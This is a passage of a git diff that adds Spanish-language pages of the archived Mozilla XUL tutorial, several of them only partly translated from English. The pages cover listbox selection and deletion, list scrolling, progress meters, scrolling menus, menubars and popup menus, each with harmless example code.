+<p>The select event is fired for a <a href="es/XUL/Elementos/listbox">listbox</a> when an item in the list is selected. The select handler here displays an alert containing the label of the selected item in the list. Since the select event fired we can assume that an item is selected. In other cases, you may wish to check to ensure that selectedItem is not null before continuing.</p>
+
+<p>The select event is also fired when a radio button in a <code><a href="es/XUL/Elementos/radiogroup">radiogroup</a></code> is selected and when a tab is selected in a <code><a href="es/XUL/Elementos/tabs">tabs</a></code> element. However, <code><a href="es/XUL/menulist">menulists</a></code> do not fire the select event; instead you can listen to the command event to handle when an item is selected.</p>
+
+<p>For the <code><a href="es/XUL/Elementos/tabs">tabs</a></code> element, it is often more convenient to use functions of the <code><a href="es/XUL/Elementos/tabbox">tabbox</a></code> element instead. It also has a <code><a href="es/XUL/Propiedades/selectedIndex">selectedIndex</a></code> function which will return the index of the selected tab. However, to get the selected item, use the tabbox's <code><a href="es/XUL/Propiedades/selectedTab">selectedTab</a></code> property instead. Or, use the <code><a href="es/XUL/Propiedades/selectedPanel">selectedPanel</a></code> property to get the selected panel, that is, return the content associated with the <a href="es/XUL/Elementos/tab">tab</a>.</p>
+
+<h4 id="Cambiando_la_selecci.C3.B3n" name="Cambiando_la_selecci.C3.B3n">Cambiando la selección</h4>
+
+<p>All of the selection related properties described above may also be assigned a new value to change the selection. In the next example, the <code><a href="es/XUL/Propiedades/selectedIndex">selectedIndex</a></code> property of a <code><a href="es/XUL/Elementos/radiogroup">radiogroup</a></code> element is changed based on the value entered in a textbox. This code isn't foolproof though; for example it doesn't check if the value entered is out of range. You will want to make sure that you add this kind of error checking.</p>
+
+<p><strong>Ejemplo 3</strong>: <a href="https://developer.mozilla.org/samples/xultu/examples/ex_domlists_3.xul.txt">Código</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_domlists_3.xul">Ver en funcionamiento</a></p>
+
+<pre>&lt;script&gt;
+function doSelect(){
+  var val = document.getElementById('number').value;
+  val = Number(val);
+  if (val != null)
+    document.getElementById('level').selectedIndex = val - 1;
+}
+&lt;/script&gt;
+
+&lt;hbox align="center"&gt;
+  &lt;label value="Escriba un número del 1 a 3:"/&gt;
+  &lt;textbox id="number"/&gt;
+  &lt;button label="Seleccionar" oncommand="doSelect();"/&gt;
+&lt;/hbox&gt;
+
+&lt;radiogroup id="level"&gt;
+  &lt;radio label="Excelente"/&gt;
+  &lt;radio label="Bueno"/&gt;
+  &lt;radio label="Pobre"/&gt;
+&lt;/radiogroup&gt;
+</pre>
+
+<p>Listboxes also support multiple selection and the functions of the <a class="external" href="http://www.xulplanet.com/references/xpcomref/ifaces/nsIDOMXULMultiSelectControlElement.html">nsIDOMXULMultiSelectControlElement</a> interface. This interface provides a number of functions specifically for handling multiple selection. For example the <code><a href="es/XUL/Propiedades/selectedItems">selectedItems</a></code> property holds a list of the items that are selected, while the <a href="es/XUL/Propiedades/selectedCount">selectedCount</a> property holds the number of items selected. Typically, you will use these properties to iterate over the list and perform some operation for each item. Be careful when iterating over the selected items; if you modify the items in the list while iterating, the list will change and the selection properties may return different values. This is one reason why it is useful to manipulate the list by the item rather than by index.</p>
+
+<h4 id="Deleting_selected_items" name="Deleting_selected_items">Deleting selected items</h4>
+
+<p>The following example shows a method of deleting the selected items properly:</p>
+
+<p><strong>Ejemplo 4</strong>: <a href="https://developer.mozilla.org/samples/xultu/examples/ex_domlists_4.xul.txt">Código</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_domlists_4.xul">Ver en funcionamiento</a></p>
+
+<pre>&lt;script&gt;
+function deleteSelection(){
+  var list = document.getElementById('thelist');
+  var count = list.selectedCount;
+  while (count--){
+    var item = list.selectedItems[0];
+    list.removeItemAt(list.getIndexOfItem(item));
+  }
+}
+&lt;/script&gt;
+
+&lt;button label="Delete" oncommand="deleteSelection();"/&gt;
+
+&lt;listbox id="thelist" seltype="multiple"&gt;
+  &lt;listitem label="Cheddar"/&gt;
+  &lt;listitem label="Cheshire"/&gt;
+  &lt;listitem label="Edam"/&gt;
+  &lt;listitem label="Gouda"/&gt;
+  &lt;listitem label="Havartie"/&gt;
+&lt;/listbox&gt;
+</pre>
+
+<p>Inside the while loop we</p>
+
+<ul>
+ <li>first get the selecteItem at index 0. The first selected item is always retrieved as the size of the array will decrease as the items are removed.</li>
+ <li>Next, we remove the item using the <code><a href="es/XUL/M%c3%a9todos#removeItemAt">removeItemAt()</a></code> function. Since this function requires an index</li>
+ <li>we can convert between an item and an index using the <code><a href="es/XUL/M%c3%a9todos#getIndexOfItem">getIndexOfItem()</a></code> function. There is also a corresponding <code><a href="es/XUL/M%c3%a9todos#getItemAtIndex">getItemAtIndex()</a></code> function to do the reverse.</li>
+</ul>
+
+<p>The <a class="external" href="http://www.xulplanet.com/references/xpcomref/ifaces/nsIDOMXULMultiSelectControlElement.html">nsIDOMXULMultiSelectControlElement</a> interface also provides methods for modifying the selected items. For instance, the <code><a href="es/XUL/M%c3%a9todos/addItemToSelection">addItemToSelection()</a></code> function adds a new item to the set of selected items, without clearing the existing selection. The <code><a href="es/XUL/M%c3%a9todos#removeItemFromSelection">removeItemFromSelection()</a></code> function removes a single item from the selection.</p>
+
+<h3 id="Lista_desplegable" name="Lista_desplegable">Lista desplegable</h3>
+
+<p>If there are more rows in the <code><a href="es/XUL/Elementos/listbox">listbox</a></code> than can be displayed, a scroll bar will appear to allow the user to scroll the list. The scroll position may be adjusted using a couple of listbox methods.</p>
+
+<p>The <code><a href="es/XUL/M%c3%a9todos/scrollToIndex">scrollToIndex()</a></code> method scrolls to a given row. This listbox will scroll such that the row will be the top row visible, unless the row is near the end of the list of items. The <code><a href="es/XUL/M%c3%a9todos/ensureIndexIsVisible">ensureIndexIsVisible()</a></code> method is similar in that it also scrolls to show a row, but this method does not scroll if the item is already visible. Thus, the former function is used to scroll to a specific row while the latter is used just to make sure that a row is visible. There is also an <code><a href="es/XUL/M%c3%a9todos/ensureIndexIsVisible">ensureIndexIsVisible()</a></code> that takes an item as an argument instead of an index. Compare the effect of both functions at different scroll positions in this example:</p>
+
+<p><strong>Ejemplo 5</strong>: <a href="https://developer.mozilla.org/samples/xultu/examples/ex_domlists_5.xul.txt">Código</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_domlists_5.xul">Ver en funcionamiento</a></p>
+
+<pre>&lt;button label="scrollToIndex"
+           oncommand="document.getElementById('thelist').scrollToIndex(4);"/&gt;
+&lt;button label="ensureIndexIsVisible"
+           oncommand="document.getElementById('thelist').ensureIndexIsVisible(4);"/&gt;
+
+&lt;listbox id="thelist" rows="5"&gt;
+  &lt;listitem label="1"/&gt;
+  &lt;listitem label="2"/&gt;
+  &lt;listitem label="3"/&gt;
+  &lt;listitem label="4"/&gt;
+  &lt;listitem label="5"/&gt;
+  &lt;listitem label="6"/&gt;
+  &lt;listitem label="7"/&gt;
+  &lt;listitem label="8"/&gt;
+  &lt;listitem label="9"/&gt;
+  &lt;listitem label="10"/&gt;
+  &lt;listitem label="11"/&gt;
+  &lt;listitem label="12"/&gt;
+&lt;/listbox&gt;
+</pre>
+
+<p>Seguimos con los <a href="es/Tutorial_de_XUL/Objectos_de_caja">objetos de caja de XUL</a>.</p>
+
+<div class="prevnext" style="text-align: right;">
+    <p><a href="/es/docs/Tutorial_de_XUL:Modificando_una_interfaz_XUL" style="float: left;">« Anterior</a><a href="/es/docs/Tutorial_de_XUL:Objetos_de_caja">Siguiente  »</a></p>
+</div>
diff --git a/files/es/archive/mozilla/xul/tutorial_de_xul/medidores_de_progreso/index.html b/files/es/archive/mozilla/xul/tutorial_de_xul/medidores_de_progreso/index.html
new file mode 100644
index 0000000000..687e1fbcc3
--- /dev/null
+++ b/files/es/archive/mozilla/xul/tutorial_de_xul/medidores_de_progreso/index.html
@@ -0,0 +1,41 @@
+---
+title: Medidores de Progreso
+slug: Archive/Mozilla/XUL/Tutorial_de_XUL/Medidores_de_Progreso
+tags:
+  - Tutorial_de_XUL
+  - XUL
+---
+<p>En esta seccion veremos como crear medidores progreso (o indicador de progreso).</p>
+<h3 id="A.C3.B1adiendo_un_indicador_de_progreso" name="A.C3.B1adiendo_un_indicador_de_progreso">Añadiendo un indicador de progreso</h3>
+<p>Un indicador de progreso es una barra que indica la cantidad de trabajo realizado para completar una acción. Son tipicamente usados cuando se han de descargar ficheros o cuando realizamos una larga operación. XUL tiene indicadores de progreso, habiendo dos tipos de ellos: determinados e indeterminados.</p>
+<p>Los indicadores de progreso determinados se usan cuando conocemos la cantidad de trabajo necesaria para llevar a cabo una operación. El indicador de progreso se irá llenando y una vez lleno completamente, la operación deberá haber terminado. Este puede usarse para dialogos de descarga de ficheros, ya que conocemos el tamaño del fichero.</p>
+<p>Los indicadores indeterminados se usan cuando no sabemos cuanto trabajo puede llevar una operación.</p>
+<p>Indicador de progreso determinado : <img alt="Image:prog-det.png" class=" internal" src="/@api/deki/files/814/=Prog-det.png"></p>
+<p>Indicador de progreso indeterminado : <img alt="Image:prog-udet.png" class=" internal" src="/@api/deki/files/815/=Prog-udet.png"></p>
+<p>Los indicadores de progreso tienen la siguiente sintaxis:</p>
+<pre>&lt;progressmeter
+    id="identificador"
+    mode="determined"
+    value="0%"/&gt;
+</pre>
+<p>Los atributos son como sigue:</p>
+<dl> <dt>id </dt> <dd>El identificador para el indicador de progreso</dd> <dt>mode </dt> <dd>El tipo de indicador de progreso. Si es determined, será un indicador de progreso determinado y se irá llenando conforme se realize la tarea. Sí es undetermined será un indicador de progreso indeterminado, donde no conocemos cuando finalizará la operación. El valor por defecto, si no definimos este atributo, es determined.</dd>
+</dl>
+<dl> <dt>value </dt> <dd>El valor actual del indicador de progreso. Solo deberíamos usar cuando el indicador de progreso es del tipo determinado. El valor debe ser un porcentaje desde 0% a 100%. Este atributo puede ser cambiado desde un script conforme vaya completandose la tarea.</dd>
+</dl>
+<div class="highlight">
+<p>Incluyamos un indicador de progreso a nuestro dialogo de encontrar ficheros. Deberíamos poner un indicador indeterminado, ya que no sabemos cuantos ficheros tendremos que comprobar en nuestra búsqueda o cuanto tardaremos en hacerlo. Sin embargo, pondremos uno determinado por ahora para ver como funciona. El indicador de progreso normalmente solo aparecerá cuando la búsqueda se está llevando a cabo. Más tarde crearemos un script para mostrarlo y ocultarlo.</p>
+<p> </p>
+<pre class="eval">&lt;hbox&gt;
+
+  <span class="highlightred">&lt;progressmeter value="50%" style="margin: 4px;"/&gt;</span>
+</pre>
+<pre class="eval">  &lt;spacer flex="1" /&gt;
+&lt;/hbox&gt;
+</pre>
+<p><img alt="Image:progress1.png" class=" internal" src="/@api/deki/files/816/=Progress1.png"></p>
+<p>El atributo lo hemos puesto como 50% para poder ver el indicador inicialmente. Tambíen le hemos asignado un margen de 4 pixels para separarlo de los márgenes de la ventana. Tal como indicamos anteriormente, solo queremos ver el indicador de progreso cuando se esté realizando la búsqueda. Un script lo ocultará y mostrará cuando sea necesario.</p>
+</div>
+<p>En la proxima seccion, aprenderemos como adicionar elementos a una ventana usando HTML.</p>
+<p><span class="comment">Categorías</span></p>
+<p><span class="comment">links interwikis</span></p>
diff --git a/files/es/archive/mozilla/xul/tutorial_de_xul/menús_con_desplazamiento/index.html b/files/es/archive/mozilla/xul/tutorial_de_xul/menús_con_desplazamiento/index.html
new file mode 100644
index 0000000000..c5fb82fb1c
--- /dev/null
+++ b/files/es/archive/mozilla/xul/tutorial_de_xul/menús_con_desplazamiento/index.html
@@ -0,0 +1,56 @@
+---
+title: Menús con desplazamiento
+slug: Archive/Mozilla/XUL/Tutorial_de_XUL/Menús_con_desplazamiento
+tags:
+  - Todas_las_Categorías
+  - Tutorial_de_XUL
+  - XUL
+  - para_revisar
+---
+<p>Esta sección describe los menús con desplazamiento y cómo usar el mecanismo con otros elementos.</p>
+
+<h3 id="Creaci.C3.B3n_de_un_men.C3.BA_largo" name="Creaci.C3.B3n_de_un_men.C3.BA_largo">Crear un menú grande</h3>
+
+<p>Te preguntarás qué sucede si creas un menú con muchas opciones en él, de tal forma que no todos los ítems aparezcan en la pantalla a la vez. Mozilla <img alt="scrolling-menu.jpg" class="internal rwrap" src="/@api/deki/files/4819/=scrolling-menu.jpg" style="float: right;">proveerá un mecanismo de despliegue que te permitirá moverte a través de los ítems.</p>
+
+<div class="float-right"><img alt="Image:menuscroll1.png" class="internal" src="/@api/deki/files/761/=Menuscroll1.png"></div>
+
+<p>Si el espacio disponible es demasiado pequeño, aparecerán flechas al final de cada menú. Si mueves el ratón sobre las flechas, el menú se desplegará hacia abajo o hacia arriba. Si el espacio disponible es lo suficientemente grande, las flechas no aparecerán. Observa que el comportamiento exacto de este mecanismo dependerá del tema actual.</p>
+
+<p>Este comportamiento es automático. No tienes que hacer nada para obtener menús desplegables. Se aplicará a menús en barras de menú, en emergentes o listas de menús. Se implementa usando un elemento <code><a href="/es/XUL/Elementos#arrowscrollbox" title="es/XUL/Elementos#arrowscrollbox">arrowscrollbox</a></code>. Este elemento puede usarse para crear cajas desplegables con flechas.</p>
+
+<p>El elemento <code><a href="/es/XUL/Elementos#arrowscrollbox" title="es/XUL/Elementos#arrowscrollbox">arrowscrollbox</a></code> puede usarse en cualquier lugar donde se pueda usar una caja normal. No tienes que usarlo en menús. Siempre es un caja vertical y puede contener cualquier elemento en su interior. Puedes usarlo para implementar una lista cuando no deseas hacer un menú desplegable.</p>
+
+<h4 id="Ejemplo_-_desplazamiento_de_una_lista_de_botones" name="Ejemplo_-_desplazamiento_de_una_lista_de_botones">Ejemplo - lista de botones con desplazamiento</h4>
+
+<p>El siguiente ejemplo muestra cómo crear una lista desplegable de botones (tendrás que redefinir el tamaño de la ventana para ver los botones de flechas):</p>
+
+<p><strong>Ejemplo 1</strong>: <a href="https://developer.mozilla.org/samples/xultu/examples/ex_menuscroll_1.xul.txt">Código</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_menuscroll_1.xul">Ver en funcionamiento</a></p>
+
+<pre>&lt;arrowscrollbox orient="vertical" flex="1"&gt;
+  &lt;button label="Rojo"/&gt;
+  &lt;button label="Azul"/&gt;
+  &lt;button label="Verde"/&gt;
+  &lt;button label="Amarillo"/&gt;
+  &lt;button label="Naranja"/&gt;
+  &lt;button label="Plata"/&gt;
+  &lt;button label="Lavenda"/&gt;
+  &lt;button label="Oro"/&gt;
+  &lt;button label="Turquesa"/&gt;
+  &lt;button label="Melocotón"/&gt;
+  &lt;button label="Marrón"/&gt;
+  &lt;button label="Negro"/&gt;
+&lt;/arrowscrollbox&gt;
+</pre>
+
+<p>Si pruebas este ejemplo, primero abrirá a tamaño total. Sin embargo, si encoges el alto de la ventana, las flechas de despliegue aparecerán. Al volver a hacer la ventana más grande, las flechas desaparecerán.</p>
+
+<p>Puedes establecer una altura máxima usando la propiedad CSS <code>max-height</code> en el <code>arrowscrollbox</code> para limitar el tamaño de la caja de despliegue y así hacer que las flechas aparezcan todo el tiempo.</p>
+
+<p>El <code>arrowscrollbox</code> es principalmente útil en menús y emergentes.</p>
+
+<p>A continuación veremos cómo añadir <a href="/es/Tutorial_de_XUL/Añadiendo_los_gestores_de_eventos" title="es/Tutorial_de_XUL/Añadiendo_los_gestores_de_eventos">gestores de eventos a elementos XUL</a>.</p>
+
+<div class="prevnext" style="text-align: right;">
+    <p><a href="/es/docs/Tutorial_de_XUL:Menús_emergentes" style="float: left;">« Anterior</a><a href="/es/docs/Tutorial_de_XUL:Añadiendo_los_gestores_de_eventos">Siguiente  »</a></p>
+</div>
diff --git a/files/es/archive/mozilla/xul/tutorial_de_xul/menús_de_barras_simples/index.html b/files/es/archive/mozilla/xul/tutorial_de_xul/menús_de_barras_simples/index.html
new file mode 100644
index 0000000000..30f475f63b
--- /dev/null
+++ b/files/es/archive/mozilla/xul/tutorial_de_xul/menús_de_barras_simples/index.html
@@ -0,0 +1,168 @@
+---
+title: Barras de menús simples
+slug: Archive/Mozilla/XUL/Tutorial_de_XUL/Menús_de_Barras_Simples
+tags:
+  - Todas_las_Categorías
+  - Tutorial_de_XUL
+  - Tutoriales
+  - XUL
+  - para_revisar
+translation_of: Archive/Mozilla/XUL/Tutorial/Simple_Menu_Bars
+---
+<p>En esta sección veremos cómo crear una barra de menús.</p>
+<h3 id="Creando_un_Men.C3.BA" name="Creando_un_Men.C3.BA">Crear un menú</h3>
+<p>XUL tiene varias formas de crear un menú. La más simple es agregar una barra de menús con una fila de menús en ella como tienen muchas aplicaciones. También se pueden crear menús emergentes. Las características de menús en XUL consisten en una cantidad de elementos diferentes que permiten la creación de barras de menú o menús emergentes. Los elementos u opciones en dichos menús pueden ser personalizados sin mucha dificultad. Vimos ya una <a href="/es/Tutorial_de_XUL/Controles_de_listas" title="es/Tutorial de XUL/Controles de listas">parte de cómo construir un menú </a>usando <code><a class="external" href="http://www.xulplanet.com/references/elemref/ref_menulist.html">menulist</a></code>. En esta sección ampliaremos el tema.</p>
+<p>Las barras de menús son creadas, generalmente, de manera muy similar a las barras de herramientas o <code><a href="../../../../en/XUL/toolbar" rel="custom nofollow">toolbar</a></code>. Una barra de menús puede ser ubicada de manera opcional dentro de una <code><a class="external" href="http://www.xulplanet.com/references/elemref/ref_toolbox.html">toolbox</a></code> (caja de herramientas) y el menú funcionará como cualquier otra barra de herramientas. XUL, sin embargo, tiene ciertos elementos de menú especiales que proporcionará funciones características de los menús clásicos.</p>
+<p>Hay 5 elementos asociados con la creación de una barra de menús y sus menús, que se explican brevemente a continuación pero en los que se profundizará más adelante:</p>
+<dl>
+ <dt>
+  <a href="../../../../en/XUL/menubar" rel="custom nofollow">menubar</a></dt>
+ <dd>
+   </dd>
+ <dd>
+  El contenedor de una fila de menús.</dd>
+</dl>
+<p><strong><span style="font-family: Georgia;"><a href="../../../../en/XUL/menu" rel="custom nofollow">menu</a></span></strong></p>
+<dl>
+</dl>
+<dl>
+ <dd>
+  A pesar del nombre, es sólo el título del menú en la barra (menubar). Este elemento puede aparecer, también, de forma separada.</dd>
+</dl>
+<dl>
+ <dt>
+  <a href="../../../../en/XUL/menupopup" rel="custom nofollow">menupopup</a></dt>
+ <dd>
+   </dd>
+ <dd>
+  La ventana emergente que aparecerá cuando se haga clic en el título del menú. Esta caja contendrá una lista de comandos.</dd>
+</dl>
+<dl>
+ <dt>
+  <a href="../../../../en/XUL/menuitem" rel="custom nofollow">menuitem</a></dt>
+ <dd>
+   </dd>
+ <dd>
+  Un comando en un menú. Aparece dentro de <code><a class="external" href="http://www.xulplanet.com/references/elemref/ref_menupopup.html">menupopup</a></code>.</dd>
+</dl>
+<dl>
+ <dt>
+  <a href="../../../../en/XUL/menuseparator" rel="custom nofollow">menuseparator</a></dt>
+ <dd>
+   </dd>
+ <dd>
+  Una barra de separación en un menú. Aparece dentro de <code>menupopup</code>.</dd>
+</dl>
+<p>Ahora ya se pueden personalizar los menús  dentro de una barra de menús para poder contener lo que queramos en cualquier plataforma excepto Macintosh. Esto es debido a que Macintosh posee su menú especial propio en la parte superior de la pantalla y es controlado por el sistema. Si bien se pueden crear menús personalizados, cualquier regla de estilo especial o elementos que no sean menús pueden ser omitidos. Esto se debe tener muy presente al crear menús.</p>
+<h5 id="Ejemplo_de_una_barra_de_menús_simple"><strong>Ejemplo de una barra de menús simple</strong></h5>
+<p><strong>Ejemplo</strong>:</p>
+<div class="float-right">
+ <img align="right" alt="simple_mnubar.jpg" class="internal rwrap" src="/@api/deki/files/4813/=simple_mnubar.jpg"></div>
+<pre>&lt;toolbox flex="1"&gt;
+  &lt;menubar id="ejemplo-barra-de-menus"&gt;
+    &lt;menu id="menu-archivo" label="Archivo"&gt;
+      &lt;menupopup id="archivo-emergente"&gt;
+        &lt;menuitem label="Nuevo"/&gt;
+        &lt;menuitem label="Abrir"/&gt;
+        &lt;menuitem label="Guardar"/&gt;
+        &lt;menuseparator/&gt;
+        &lt;menuitem label="Salir"/&gt;
+      &lt;/menupopup&gt;
+    &lt;/menu&gt;
+    &lt;menu id="menu-editar" label="Editar"&gt;
+      &lt;menupopup id="editar-emergente"&gt;
+        &lt;menuitem label="Deshacer"/&gt;
+        &lt;menuitem label="Rehacer"/&gt;
+      &lt;/menupopup&gt;
+    &lt;/menu&gt;
+  &lt;/menubar&gt;
+&lt;/toolbox&gt;
+</pre>
+<p>Aquí, una barra de menús sencilla es creada utilizando el elemento <code><a class="external" href="http://www.xulplanet.com/references/elemref/ref_menubar.html">menubar</a></code>. Éste crea una fila en donde se ubicarán los menús. Dos menús: Archivo y Editar se crearon en ella. Los elementos <code><a class="external" href="http://www.xulplanet.com/references/elemref/ref_menu.html">menu</a></code> crean el título en la parte superior del menú, el que aparece en la barra de menús. Los menús emergentes se crean utilizando el elemento <code><a class="external" href="http://www.xulplanet.com/references/elemref/ref_menupopup.html">menupopup</a></code>. Aparecerán cuando el usuario haga clic en el menú padre. El tamaño de dicho menú emergente dependerá de lo que contenga, siempre siendo suficientemente amplio como para que entren todos los comandos creados utilizando el elemento <code><a class="external" href="http://www.xulplanet.com/references/elemref/ref_menuitem.html">menuitem</a></code>. Cada uno representa un comando individual dentro del menú emergente.</p>
+<p>También se pueden crear separadores dentro de los menús utilizando el elemento <code><a class="external" href="http://www.xulplanet.com/references/elemref/ref_menuseparator.html">menuseparator</a></code>. Se utiliza para separar grupos de menuitems.</p>
+<h4 id="menubar_element" name="menubar_element">Elemento<code> menubar</code></h4>
+<p><code><code><a href="../../../../en/XUL/menubar" rel="custom nofollow">menubar</a></code></code> es una caja que contiene menús. Nótese que fue ubicada en una <code><a class="external" href="http://www.xulplanet.com/references/elemref/ref_toolbox.html">toolbox</a></code> flexible. menubar no tiene atributos especiales sino que es un tipo de caja. Esto significa que se podría crear un menubar vertical con sólo configurar el atributo <code> <code><span id="a-orient"><a href="../../../../en/XUL/Attribute/orient" rel="custom nofollow">orient</a></span></code></code> a vertical.</p>
+<h4 id="Elemento_menu">Elemento <span><code>menu</code></span></h4>
+<p>El elemento <code><code><a href="../../../../en/XUL/menu" rel="custom nofollow">menu</a></code></code> funciona de manera muy similar al elemento <code><a class="external" href="http://www.xulplanet.com/references/elemref/ref_button.html">button</a></code>. Acepta algunos atributos idénticos y otros adicionales:</p>
+<dl>
+ <dt>
+  <a href="../../../../en/XUL/Attribute/id" rel="custom nofollow">id</a></dt>
+ <dd>
+   </dd>
+ <dd>
+  El identificador único del título del menú.</dd>
+</dl>
+<p><strong><span style="font-family: Georgia;"><a href="../../../../en/XUL/Attribute/label" rel="custom nofollow">label</a></span></strong></p>
+<dl>
+</dl>
+<dl>
+ <dd>
+  El texto que va a aparecer en el menú (Archivo y Editar en el ejemplo anterior).</dd>
+</dl>
+<dl>
+ <dt>
+  <a href="../../../../en/XUL/Attribute/disabled" rel="custom nofollow">disabled</a></dt>
+ <dd>
+   </dd>
+ <dd>
+  Es un atributo booleano que determina si el menú está deshabilitado o no. Aunque se puede, rara vez se necesita deshabilitar un menú completo. Este atributo puede ser configurado como <code>true</code> o <code>false</code>, siendo este último valor aquél por defecto.</dd>
+</dl>
+<dl>
+ <dt>
+  <a href="../../../../en/XUL/Attribute/accesskey" rel="custom nofollow">accesskey</a></dt>
+ <dd>
+   </dd>
+ <dd>
+  La tecla que el usuario puede presionar para activar el menú. Por lo general, ésta es la letra que aparece subrayada en el título del menú. Mozilla se fijará en el atributo label y le agregará el subrayado al carácter especificado aquí. Por esta razón es que se debe especificar un carácter que aparece en dicho título de ser posible (la tecla de acceso aún funcionará si no aparece).</dd>
+</dl>
+<div class="float-right">
+ <img alt="Image:menubar-ex2.jpg" class="internal" src="/@api/deki/files/755/=Menubar-ex2.jpg"></div>
+<div class="float-right">
+ El elemento <code>menu </code>normalmente se ubica en un menubar, aunque no necesariamente. Sin embargo, le aportará un aspecto diferente. La imagen muestra lo que el aspecto que tendría el ejemplo anterior sin la barra de menús.</div>
+<h4 id="Elemento_menupopup">Elemento <code>menupopup</code></h4>
+<div class="float-right">
+ El elemento <code>menupopup</code> genera el menú emergente que contiene los comandos. Es un tipo de caja que, por defecto, se orienta verticalmente. Se puede cambiar a horizontal si se desea que se ubiquen en una fila los <code>menuitem</code>. Normalmente sólo elementos <code>menuitem</code> y/o <code>menuseparator</code> se ubicarán en un <code>menupopup</code>; pero se puede ubicar cualquier elemento dentro de un menupopup, aunque será ignorado en una Macintosh.</div>
+<h4 id="Elemento_menuitem">Elemento <code>menuitem</code></h4>
+<p>El elemento <code>menuitem</code> es muy similar al elemento <code>menu</code> y tiene algunos de los mismos atributos:</p>
+<dl>
+ <dt>
+  <a href="../../../../en/XUL/Attribute/id" rel="custom nofollow">id</a></dt>
+ <dd>
+   </dd>
+ <dd>
+  El identificador único del título del menú.</dd>
+</dl>
+<dl>
+ <dt>
+  <a href="../../../../en/XUL/Attribute/label" rel="custom nofollow">label</a></dt>
+ <dd>
+   </dd>
+ <dd>
+  El texto que va a aparecer en el menú.</dd>
+</dl>
+<dl>
+ <dt>
+  <a href="../../../../en/XUL/Attribute/disabled" rel="custom nofollow">disabled</a></dt>
+ <dd>
+   </dd>
+ <dd>
+  Es un atributo booleano que determina si el menú está deshabilitado o no. Este atributo puede ser configurado como <code>true</code> o <code>false</code>, siendo este último valor aquél por defecto.</dd>
+</dl>
+<dl>
+ <dt>
+  <a href="../../../../en/XUL/Attribute/accesskey" rel="custom nofollow">accesskey</a></dt>
+ <dd>
+   </dd>
+ <dd>
+  La tecla que el usuario puede presionar para activar el menú. Por lo general, ésta es la letra que aparece subrayada en el título del menú. Mozilla se fijará en el atributo <code><code><span id="a-label"><a href="../../../../en/XUL/Attribute/label" rel="custom nofollow">label</a></span></code></code> y le agregará el subrayado al carácter especificado aquí. Por esta razón es que se debe especificar un carácter que aparece en dicho título de ser posible.</dd>
+</dl>
+<dl>
+ <dt>
+  <a href="../../../../en/XUL/Attribute/acceltext" rel="custom nofollow">acceltext</a></dt>
+ <dd>
+   </dd>
+ <dd>
+  Especifica la tecla de acceso rápido que aparece junto al texto del menú. Sin embargo, no asocia dichas teclas al <code><a href="../../../../en/XUL/menuitem" rel="custom nofollow">menuitem</a></code>. Se profundizará en esto <a href="/es/Tutorial_de_XUL/Atajos_de_teclado" title="es/Tutorial de XUL/Atajos de teclado">más adelante.</a></dd>
+</dl>
+<h4 id="Elemento_menuseparator">Elemento <span><code>menuseparator</code></span></h4>
+<p>El elemento<code> <code><a href="../../../../en/XUL/menuseparator" rel="custom nofollow">menuseparator</a></code></code> no posee atributos especiales. Simplemente crea una barra horizontal (o vertical) entre los elementos menuitems vecinos.</p>
diff --git a/files/es/archive/mozilla/xul/tutorial_de_xul/menús_emergentes/index.html b/files/es/archive/mozilla/xul/tutorial_de_xul/menús_emergentes/index.html
new file mode 100644
index 0000000000..c44daf0dcd
--- /dev/null
+++ b/files/es/archive/mozilla/xul/tutorial_de_xul/menús_emergentes/index.html
@@ -0,0 +1,228 @@
+---
+title: Menús emergentes
+slug: Archive/Mozilla/XUL/Tutorial_de_XUL/Menús_emergentes
+tags:
+  - Todas_las_Categorías
+  - Tutorial_de_XUL
+  - XUL
+  - para_revisar
+---
+<p>En la última sección vimos cómo crear un menú en una barra de menú. XUL tiene además la capacidad de crear menús emergentes. Los menús emergentes normalmente se muestran cuando el usuario presiona el botón derecho del ratón.</p>
+
+<h3 id="Creaci.C3.B3n_de_un_men.C3.BA_emergente" name="Creaci.C3.B3n_de_un_men.C3.BA_emergente">Crear un menú emergente (menú popup)</h3>
+
+<p>XUL tiene tres tipos diferentes de elementos emergentes, los cuales se describen a continuación. La principal diferencia entre ellos es la manera en la que aparecen.</p>
+
+<ul>
+ <li>
+  <dl>
+   <dt>Menús emergentes simples (Plain Popups)</dt>
+  </dl>
+ </li>
+</ul>
+
+<dl>
+ <dd>El menú emergente simple es una ventana emergente que aparece al presionar el botón izquierdo del ratón sobre un elemento. Son como los menús que aparecen en las barras de menú, excepto que pueden ponerse en cualquier lugar y se les puede poner cualquier contenido. Un buen ejemplo es el menú con despliegue hacia abajo que aparece cuando haces clic sobre la pequeña flecha hacia abajo que sigue a los botones adelante y atrás en una ventana del explorador.</dd>
+</dl>
+
+<ul>
+ <li>
+  <dl>
+   <dt>Menús emergentes de contexto (Context Popups)</dt>
+  </dl>
+ </li>
+</ul>
+
+<dl>
+ <dd>El menú emergente de contexto es una ventana emergente que aparece cuando el usuario presiona el botón de menú contextual, el cual es usualmente el botón derecho del ratón. La forma exacta en que un menú contextual es abierto varía en cada plataforma. En Macintosh, por ejemplo, el usuario puede bien presionar la tecla Control y hacer clic con el ratón o mantener presionado el botón del ratón por un momento. Además, es posible abrir un menú contextual sin usar el ratón, por ejemplo presionando la tecla Menú en un teclado.</dd>
+</dl>
+
+<ul>
+ <li>
+  <dl>
+   <dt>Ventanas emergentes de información (Tooltips)</dt>
+  </dl>
+ </li>
+</ul>
+
+<dl>
+ <dd>Una ventana emergente de información aparecerá cuando el usuario pasa el ratón sobre un elemento. Este tipo de emergentes puede usarse para proporcionar una descripción de un botón con mayor detalle del que puede ofrecer el botón mismo.</dd>
+</dl>
+
+<p>Los tres tipos de elementos emergentes difieren en la forma en que son invocados por el usuario. El tipo de elemento emergente es determinado por el elemento que lo invoca.</p>
+
+<h4 id="Declaraci.C3.B3n_del_contenido_del_men.C3.BA" name="Declaraci.C3.B3n_del_contenido_del_men.C3.BA">Declarar el contenido de un emergente</h4>
+
